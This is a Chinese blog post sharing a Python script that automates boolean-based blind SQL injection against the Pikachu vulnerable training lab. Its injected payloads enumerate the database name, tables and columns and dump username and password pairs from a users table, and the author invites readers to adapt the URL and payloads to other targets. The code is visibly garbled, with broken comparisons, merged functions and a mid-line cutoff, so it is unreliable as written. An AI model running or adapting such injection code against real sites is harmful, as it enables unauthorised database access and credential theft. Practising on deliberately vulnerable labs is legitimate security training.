您当前的位置: 首页 >  Python

仙女象

暂无认证

  • 1浏览

    0关注

    136博文

    0收益

  • 0浏览

    0点赞

    0打赏

    0留言

私信
关注
热门博文

python实现sql布尔盲注

仙女象 发布时间:2021-04-25 22:21:54 ,浏览量:1

目录

一、python代码

二、使用方法

1、下载

(1)比较简单的方法

(2)比较复杂的方法

2、使用

三、测试

一、python代码

以下代码可自用,未经允许不可转载

下面的代码是基于pikachu的漏洞平台SQL-Inject的布尔盲注关卡开发的,主要目的是缩短手工盲注的时间,可以实现当前数据库名称,表名称,列名称,数据库内容的爆破。

使用前需要根据实际情况修改payload和部分参数(见注释)

#!/usr/bin/python3
# coding=utf-8

"""
functions for boolean-based sql injection(blind)

:copyright: Copyright (c) 2021, Fancy Xiang. All rights reserved.
:license: GNU General Public License v3.0, see LICENSE for more details.
"""

import requests

url = "http://192.168.101.16/pikachu/vul/sqli/sqli_blind_b.php"               #有可利用漏洞的url,根据实际情况填写
headers={ "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36","Cookie": "PHPSESSID=7qgjcq21lsq834acodn0mo7km3",}    #http request报文头部,根据实际情况填写
 
keylist = [chr(i) for i in range(33, 127)]                                     #包括数字、大小写字母、可见特殊字符
flag = 'your uid'                                                              #用于判断附加sql语句为真的字符,根据网页回显填写

def CurrentDatabaseBool():
    n = 10                                                                      #预测当前数据库名称最大可能的长度,根据实际情况填写
    k = 0
    j = n//2 
    length = 0
    db = str()
    while True:
        if j>k and j3:
            payload1 = "lili' and length(database())>"+str(j)+"-- ss"           #所有payload根据实际情况填写
            param = {
            "name":payload1,
            "submit":"查询",
            }
            response = requests.get(url, params = param, headers = headers)     #本脚本根据GET型注入编写,遇到POST型可修改改行方法和参数,其他所有函数中同样
            if response.text.find(flag) != -1:
                n=n
                k=j
            else:
                k=k
                n=j
            j=(n-k)//2
        elif j-k==3 or j-kk and j3:
            payload4 = "lili' and (length((select group_concat(table_name) from information_schema.tables where table_schema = database())))>"+str(j)+"-- ss"
            param = {
            "name":payload4,
            "submit":"查询",
            }
            response = requests.get(url, params = param, headers = headers)
            if response.text.find(flag) != -1:
                n=n
                k=j
            else:
                k=k
                n=j
            j=(n-k)//2
        elif j-k==3 or j-kk and j3:
            payload7 = "lili' and (length((select group_concat(column_name) from information_schema.columns where table_name = 'users')))>"+str(j)+"-- ss"
            param = {
            "name":payload7,
            "submit":"查询",
            }
            response = requests.get(url, params = param, headers = headers)
            if response.text.find(flag) != -1:
                n=n
                k=j
            else:
                k=k
                n=j
            j=(n-k)//2
        elif j-k==3 or j-kk and j3:
            payload10 = "lili' and (length((select group_concat(concat(username,'^',password)) from users)))>"+str(j)+"-- ss"
            param = {
            "name":payload10,
            "submit":"查询",
            }
            response = requests.get(url, params = param, headers = headers)
            if response.text.find(flag) != -1:
                n=n
                k=j
            else:
                k=k
                n=j
            j=(n-k)//2
        elif j-k==3 or j-k            
关注
打赏
1661867686
查看更多评论
0.0361s